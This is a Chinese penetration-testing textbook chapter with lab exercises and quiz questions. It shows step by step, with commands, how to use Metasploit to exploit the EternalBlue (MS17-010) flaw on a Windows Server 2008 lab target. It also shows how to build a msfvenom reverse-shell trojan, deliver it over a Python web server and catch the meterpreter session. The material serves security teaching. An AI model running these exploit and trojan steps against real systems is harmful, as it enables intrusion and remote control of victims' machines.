![内网渗透技术](https://wfqqreader-1252317822.image.myqcloud.com/cover/19/50040019/b_50040019.jpg)
1.1 任务一:Metasploit Framework的使用
1.1.1 任务概述
Metasploit Framework(后文简称为MSF)是一个开源的渗透测试框架,在内网渗透中,它也可以作为C&C服务器使用。在本任务中,目标Windows靶机存在“永恒之蓝”漏洞(MS17-010),小白需要使用MSF对目标靶机进行漏洞利用,最终获取目标靶机服务器权限并建立C&C连接。此外,也可以使用msfevnom工具生成木马文件,从而建立C&C连接。
1.1.2 任务分析
MSF中集成了“永恒之蓝”漏洞的利用模块,可以直接调用该模块获取服务器权限。
在利用漏洞之前,需要对目标靶机进行端口探测,因为“永恒之蓝”漏洞针对Windows操作系统的SMB服务进行攻击,而Windows操作系统的SMB服务默认开放在445端口上,所以可以使用Nmap工具来确认目标靶机是否开放了SMB服务。
在漏洞利用完成后,攻击者会获取目标服务器权限并建立C&C连接,从而对目标服务器进行持续控制。
如果要通过使用msfevnom工具生成木马文件的形式来建立C&C连接,那么需要解决恶意文件的问题。因为Linux攻击机自带Python环境,所以可以使用SimpleHTTPServer模块开启Web服务来传输恶意文件。
1.1.3 相关知识
1.MSF的基础知识
MSF提供了一个编写、测试和使用exploit代码的环境。这个环境为渗透测试、shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Ruby语言编写而成,同时包含由C语言、汇编语言和Python编写的可选组件。
如果要使用MSF实施漏洞利用等操作,需要在操作系统中安装该工具。MSF支持在Windows和Linux操作系统中进行安装,另外Kali Linux操作系统也集成了该工具,可以直接调用。
2.“永恒之蓝”漏洞
“永恒之蓝”(Eternal Blue)是一种利用Windows操作系统的SMB协议漏洞来获取系统的最高权限的漏洞,从而控制被入侵的计算机。SMB是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过SMB协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过SMB协议,应用程序可以访问远程服务器中的文件、打印机、邮件槽(mailslot)、命名管道等资源。而“永恒之蓝”则通过TCP端口(445端口和139端口)来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无须用户进行任何操作,只要开机上网,不法分子就能在计算机和服务器中进行一系列的危险操作,如远程控制木马、获取最高权限等。
3.meterpreter
meterpreter是MSF中的一种特殊会话,可以快捷调用MSF中的一些功能,对目标系统进行更深入的渗透。这些功能包括清除渗透痕迹、本机信息收集、搭建网络代理、跳板攻击等。为了保持meterpreter的存活状态,受害主机会定时发送心跳包到MSF中。
4.msfevnom
msfevnom是MSF的攻击载荷(payload)生成器,它允许使用者生成shellcode、可执行代码和其他恶意代码。其中,shellcode支持非常多的编程语言,包括C、JavaScript、Python、PHP等,可在不同渗透场景中使用。在msfevnom生成恶意代码后,可以配合MSF中的监听模块实现C&C远控操作。
1.1.4 工作任务
打开Windows Server 2008靶机,在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,如图1-1所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1229.jpg?sign=1739641369-GZdw8UYeghqrHkYzqLLMCGCYyjloRPcE-0-ff15176fae55b84d88a7897c41376973)
图1-1 打开终端
在打开的终端中输入以下命令,通过Nmap对目标主机进行端口探测,其中的靶机IP为开启的Windows Server 2008靶机的IP地址,如图1-2所示。
nmap -sV 靶机IP
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1239.jpg?sign=1739641369-YBIR61DpPsqPqQ3uURugLU5UvgPBfz8p-0-b6ac677d47b695b3bee2d68c4bc775df)
图1-2 Nmap 工具
Nmap工具在指定了“-sV”参数后,会探测开放端口以确定服务/版本信息。等待一段时间探测完毕后,Nmap执行结果如图1-3所示,可以确定SMB服务是否开放。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1248.jpg?sign=1739641369-ZXs82wHkPFhUeokHq2XNm6GD6JDnp2Ym-0-b792f243d17f296f825c2519fb0b54db)
图1-3 Nmap 执行结果
证明靶机开放了SMB服务后,在终端中输入msfconsole命令并按下回车键,开启MSF,如图1-4所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1255.jpg?sign=1739641369-fDMRxDkerZeeeb5Fa8VbuFNKlDjSthEu-0-11894ef51275e7f190eb0bd8cd134842)
图1-4 开启MSF
在MSF终端状态下输入以下命令,搜索MS17-010漏洞相关模块,如图1-5所示。
msf6 > search ms17-010
当读者不清楚要使用具体哪个模块时,可以使用search命令加上漏洞关键字(漏洞编号、漏洞攻击方式、漏洞利用服务等)来搜索漏洞模块,对于每一条搜索结果,从左至右的字段分别是:数字下标(从0开始)、模块名称、披露日期、模块对应漏洞的严重级别、是否支持检查方法、模块简述。
在使用search命令搜索漏洞模块以后,可以使用下标的方式进行模块的使用,以图1-5中的模块为例,可以使用“use 0”或“use exploit/windows/smb/ms17_010_eternalblue”这两种方式调用该模块。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1262.jpg?sign=1739641369-w50baFZGSVjE2L1HdiYfVYvFQg6SDrbY-0-27254511940c74fd9dd5a49619124f6f)
图1-5 搜索MS17-010漏洞相关模块
如果读者通过搜索结果中的模块简述还是无法判断该模块的作用,那么可以使用info命令来查看模块的具体描述、需要设置的参数、支持的测试目标、参考链接等信息,如图1-6所示,从而进一步了解某一模块的作用。另外,info命令也支持采用下标的形式指代某一模块。
msf6 > info 0
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1269.jpg?sign=1739641369-7q23pzKKfGhFX0bcWhu7YczzNRS3pNKQ-0-175cbe5ee0165e6b5fd693f95cb1d1a1)
图1-6 查看模块的信息
在使用search命令和info命令后,读者就会对模块的作用有所了解,在明确了使用哪一个模块以后,就可以使用use命令调用该模块,本次任务需要调用的模块为exploit/windows/smb/ ms17_010_eternalblue,如图1-7所示。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1278.jpg?sign=1739641369-teRmF9RYZ8lmSgzuFftbYkntVMYCQGi1-0-1c8b9a3d78c5e7d569813152003f1b6f)
图1-7 调用MS17-010漏洞利用模块
在选取好模块后,需要设置模块的参数,输入以下命令可以查看当前模块所需设置的参数,如图1-8所示。
msf6 > options
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1287.jpg?sign=1739641369-bOS2N3wOhA5kdofJl7jJyPUkBlbPD2YC-0-f7a7df8af0925cc9c25d8f52e75e7b72)
图1-8 查看当前模块所需设置的参数
当前模块存在三部分选项,分别是模块选项(Module options)、攻击载荷选项(Payload options)和利用目标(Exploit target),前两部分选项的结构相同,从左至右的字段分别是名称(Name)、当前设置(Current Setting)、是否必需(Required)和描述(Description)。
设置参数的原则是必须填充“Required”字段为“yes”的选项,以图1-8为例,“RHOSTS”选项的“Required”字段为“yes”,但“Current Setting”字段为空,因此必须使用set命令来给该选项赋值才能运行该模块。“RHOSTS”选项在MSF中非常常见,用于指定模块攻击的目标主机,一般用目标主机的IP地址进行填充。另外,“RPORT”选项在MSF中也非常常见,用于指定模块攻击的端口。因为MS17-010漏洞的攻击对象是Windows操作系统的SMB服务,所以默认填充了445端口,当目标主机的SMB服务开放在其他端口时,需要使用set命令对“RPORT”选项重新赋值。
攻击载荷选项中比较常见的设置有“LHOST”选项和“LPROT”选项,它们的作用是指定开启监听的主机(一般是使用MSF的主机)的IP地址和开启监听的端口。攻击载荷选项如图1-9所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1294.jpg?sign=1739641369-dvnDRD6I89UEq6TYu15FSzyn3LnGkVsa-0-87aba58e77b079d47fad9a98af92b3f4)
图1-9 攻击载荷选项
在使用options命令确认了必须设置的选项后,输入命令设置选项,设置完成后输入run命令运行漏洞利用模块,如图1-10所示。
msf6 > set rhosts 靶机IP
msf6 > run
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1301.jpg?sign=1739641369-XjbpBb21DRJHwWLhAIvVrOEBxzLuxsXC-0-23f025d89af67a73ff1d685dd651898d)
图1-10 设置完成后运行漏洞利用模块
在漏洞利用过程中MSF会输出爆破日志,攻击成功界面如图1-11所示,会输出“WIN”字样并接收到一个MSF中的特殊会话“meterpreter”。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1311.jpg?sign=1739641369-XMTm1h8MBHUFGpPHJhI8HHUEU2c2p6GV-0-f3e3784262b7db66772646e1ffd33273)
图1-11 攻击成功界面
在进入meterpreter终端后可以输入以下命令,查看meterpreter会话中可执行的命令,如图1-12所示。
?
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1319.jpg?sign=1739641369-j5WtbGG20d5dQSTH6zWuRvpLli50Avmo-0-b3cabc65db81563b0b799054abb3e5e0)
图1-12 查看可执行的命令
如果在meterpreter状态下想要调用其他模块,就需要先退出该会话,直接使用exit命令会导致会话关闭,在这个时候可以使用以下命令来挂起本次会话,如图1-13所示。
background
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1329.jpg?sign=1739641369-Q4GmMeqMc1BBclRXOwbfv6CLcKYl1RsI-0-4154fa48e7b91467f1733508629d822e)
图1-13 挂起本次会话
在MSF终端下,如果想要将挂起的会话还原,那么可以使用sessions命令,如图1-14所示。
sessions
sessions <session Id>
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1337.jpg?sign=1739641369-ru34vXiqEEOvIB2RRnqVqyCsAL9onRbL-0-b78525efc92e99a62ed2e0db69c4ae9f)
图1-14 还原挂起的会话
在已知session Id的情况下,可以直接使用第二条命令返回会话状态,第一条命令在挂起多个会话时可以列出所有后台挂起的会话。
在meterpreter终端状态下,可以使用以下命令查看当前会话的服务器运行权限,如图1-15所示。
getuid
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1344.jpg?sign=1739641369-erQXjvQqpbnsJhs91WsgOiBQpaRgnjvH-0-df6218796ad3d63f2c874a5648db8bf3)
图1-15 查询当前会话的服务器运行权限
通过返回信息可以判断,当前会话的服务器获取了Windows操作系统的SYSTEM权限。
以上就是通过“永恒之蓝”漏洞获取受害主机权限并和MSF建立起C&C连接的过程,除了使用漏洞方式和受害主机建立连接,还可以通过植入木马来控制受害主机。
在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,输入以下命令生成木马文件,如图1-16所示。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP地址 -f exe > shell.exe
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1352.jpg?sign=1739641369-8fW7J7DhjOqEUMDqtttutT3W4d0MXrft-0-e03cd9855d863ac6e8f9641d46f5345b)
图1-16 生成木马文件
生成恶意文件的msfvenom命令格式展示如下:
msfvenom -p <payload type> <payload options> -f <format> > xxx.xxx
“-p”参数用于指定攻击载荷的类型和攻击载荷的选项,msfvenom可指定的攻击载荷和MSF一致,也可以通过以下命令查看可选的攻击载荷及其描述,如图1-17所示。
msfvenom -l payload
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1360.jpg?sign=1739641369-ODdKhpew60X5ktKLMMR8Xn6YYubE9zkJ-0-ba1290c6a2e6e756ae9abe665bc6844d)
图1-17 查看可选的攻击载荷及其描述
通过命令查看某一攻击载荷的选项,如图1-18所示,包含基础选项(Basic options)、进阶选项(Advanced options)和规避选项(Evasion options)。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1373.jpg?sign=1739641369-DQf6oHIwvbstXUBrwowUBAKKVm5XqcO3-0-ffc51da798392bdbe690b924c3692543)
图1-18 查看某一攻击载荷的选项
通过图1-18可以发现,如果要生成windows/x64/meterpreter/reverse_tcp模块的恶意文件,就必须设置“LHOST”选项,这与在MSF中使用某一模块的逻辑一致,需要填充“Required”字段为“yes”的选项。另外还有一个比较重要的选项是“LPORT”,默认填充值为“4444”。如果遇到该端口被占用的情况,就需要重新指定该选项。
在生成了恶意的exe文件后,需要将该恶意文件传输至受害主机中,并运行该恶意文件。在之前生成恶意文件的终端下输入以下命令,开启一个Web服务器用于传输该恶意文件,如图1-19所示。
python -m SimpleHTTPServer 80
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1382.jpg?sign=1739641369-QZWMadn3Nr8aJIOXRDkXpiQfT41dPRKK-0-cf15f958e887bfc68cbae19e1153e564)
图1-19 开启Web服务
登录进入Windows Server 2008靶机,在桌面状态下,单击左下角的“开始”按钮,然后单击“Internet Explorer”,打开IE浏览器,如图1-20所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1389.jpg?sign=1739641369-0eteJbaaWKMTwTnkWiT7Tvw8QGqb3IUD-0-b7961073f12fa09f97f8c2dbadd64302)
图1-20 打开IE浏览器
在IE浏览器的地址栏中输入并访问攻击机的IP地址,可以访问到攻击机基于Python开启的Web服务,然后找到生成的恶意文件“shell.exe”,并下载该恶意文件,如图1-21所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1396.jpg?sign=1739641369-D7NP8PdAp4xH6aQ6KbvVtOwCr2Eg5ced-0-e8c413ad1aca988de981b061194f30f6)
图1-21 下载恶意文件
因为Windows Server 2008操作系统自带安全策略,所以需要将攻击机开启的Web服务添加到信任名单中。在弹出的警告框中单击“添加”按钮,然后在可信站点中单击“添加”,添加可信站点如图1-22所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1406.jpg?sign=1739641369-1S5rhsIy9JkwUsXiyZSlmFx5Fups8gsC-0-53c45f2a45ba7e11047e8626ad8e99d6)
图1-22 添加可信站点
然后重新单击木马文件“shell.exe”进行下载,在下载弹框中单击“保存”按钮,如图1-23所示,保存到“下载”目录中。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1414.jpg?sign=1739641369-gF11PwoVLCYErEYP7rIivP3xphA2YxxE-0-cfdc072eb827f77baa71881385b92d42)
图1-23 保存恶意文件
成功将恶意文件传输至受害机后回到Linux攻击机,打开终端并输入命令进入MSF,使用与msfevnom工具配套的监听模块,如图1-24所示。
msf6 > use exploit/multi/handler
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1424.jpg?sign=1739641369-6c6FOMsZUpWyRxAAKLWjf9ULraWWZVfD-0-c34f4ca50289c44d0613587f27e8579f)
图1-24 使用监听模块
在选取好模块后,需要设置攻击载荷、开启监听的主机IP地址,攻击载荷要和生成的木马文件所使用的攻击载荷一致。如果在生成恶意木马文件时指定了“LPORT”参数,那么需要在本模块中使用set命令设置该选项。在参数设置完成后,可以输入run命令来运行监听模块,如图1-25所示。
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 攻击机IP
msf6 > run
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1432.jpg?sign=1739641369-XCicckpKDiWmgXNmsS7nW4zOucSROiS0-0-97cdad7da3e4a3defbeb4fd1f8a1c55d)
图1-25 运行监听模块
模块运行后就会开启攻击机的4444端口的监听并准备接受信息,在该状态下重新回到Windows Server 2008靶机中,双击打开并运行恶意文件shell.exe,如图1-26所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1439.jpg?sign=1739641369-VEf4jNgfjq3xHNLNRcklNOyiOoWwjSsL-0-ba925b2bf2dcda52abd98bb1c6611637)
图1-26 运行恶意文件
在成功运行恶意文件后返回Linux攻击机,发现接收到受害主机的meterpreter会话,如图1-27所示,证明建立了C&C连接。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1447.jpg?sign=1739641369-NYUxeYc2DoliD8RB1PUIZu9sWCrX4koC-0-6f4c149d7f4bfc11efdb2e0009aab2c3)
图1-27 接收到受害主机的meterpreter会话
1.1.5 归纳总结
本次任务旨在教会读者如何通过MSF渗透工具建立C&C连接,包括通过漏洞攻击和利用msfevnom工具生成木马文件并执行上线两种方式。MSF中的攻击载荷模块决定了漏洞利用或恶意代码的效果,其中meterpreter相关的攻击载荷在运行成功后,会在受害主机上打开一个通道并返回一个MSF中的特殊会话meterpreter。
1.1.6 提高拓展
本任务通过Python开启了Web服务(用于文件传输的通道),这在内网渗透中非常常用。此外,在获取meterpreter的情况下,也可以直接使用命令将文件上传至受害主机中。
参照本任务中利用“永恒之蓝”漏洞获取受害靶机meterpreter的步骤,先进入meterpreter终端,然后参照本任务中利用msfevnom工具生成木马文件的步骤生成木马文件“shell.exe”。
先确认木马文件的具体攻击路径,可以使用ls命令查看当前目录下的文件。在确认“shell.exe”文件存在的情况下,使用pwd命令查看当前路径名称,如图1-28所示。
ls
pwd
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1455.jpg?sign=1739641369-IgCf3oGojCSxcvo6cZrVDuEjIhOC58iJ-0-9db91c1aa6db1268dcd7c252b0def994)
图1-28 查看当前目录下的文件和当前路径名称
通过pwd命令的执行结果,获取木马文件的路径为/root/shell.exe,在meterperter终端下使用命令将木马文件传输到受害主机上,如图1-29所示。
meterpreter > upload 文件源地址 文件目的地址
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1466.jpg?sign=1739641369-3vTu4UZLHRQhbL7jcBQk4FQITHgqrMEk-0-60d6f8d7be8fb5452ae4326c08727d24)
图1-29 将木马文件传输到受害主机上
通过upload命令传输文件时需要注意,如果传输的对象是Windows操作系统,那么需要将文件分隔符“\”变为“/”,例如将“C:\Windows\Temp”目录转换为“C:/Windows/Temp”。
上传完成后,可以参照本任务中对监听模块的使用,开启监听端口,如图1-30所示。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1475.jpg?sign=1739641369-xSJJuACAsDs1TRUMAVulfQaYZCQ61cvN-0-41566bedf2fb129d62a4d027d0cf0c12)
图1-30 开启监听端口
在Windows Server 2008靶机中,用鼠标左键双击打开并运行恶意文件“shell.exe”,如图1-31所示,注意木马文件的路径为“C:/ Windows/Temp/shell.exe”。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1482.jpg?sign=1739641369-MHle93g1rF0jbQTjWQ28hYLL1rMjpm2c-0-a42995f7c31a7d9fa419c52c91e32d6f)
图1-31 打开并运行木马文件
成功运行恶意文件后,返回Linux攻击机,发现接收到受害主机的meterpreter会话,如图1-32所示,这就证明已经建立了C&C连接。
![](https://epubservercos.yuewen.com/C0D0FB/29418281303338206/epubprivate/OEBPS/Images/tx1617.jpg?sign=1739641369-W4nsbt0wZcIMChgrqcE28na80nbz7bUF-0-8685fe8db06a611ba7fcfe832ab89361)
图1-32 接收到受害主机的meterpreter会话
1.1.7 练习实训
在本书的练习实训部分,我们会用△、△△和△△△来表示习题的不同难度。△代表简单,△△代表一般,△△△代表困难。
一、选择题
△1.MSF的开发语言是( )。
A.C
B.Python
C.Java
D.Ruby
△2.MSF的攻击载荷模块对应的是( )。
A.exploit
B.auxiliary
C.payload
D.evasion
二、简答题
△1.请举例使用MSF建立C&C连接的方法。
△△2.请简述对“永恒之蓝”漏洞进行利用的前提。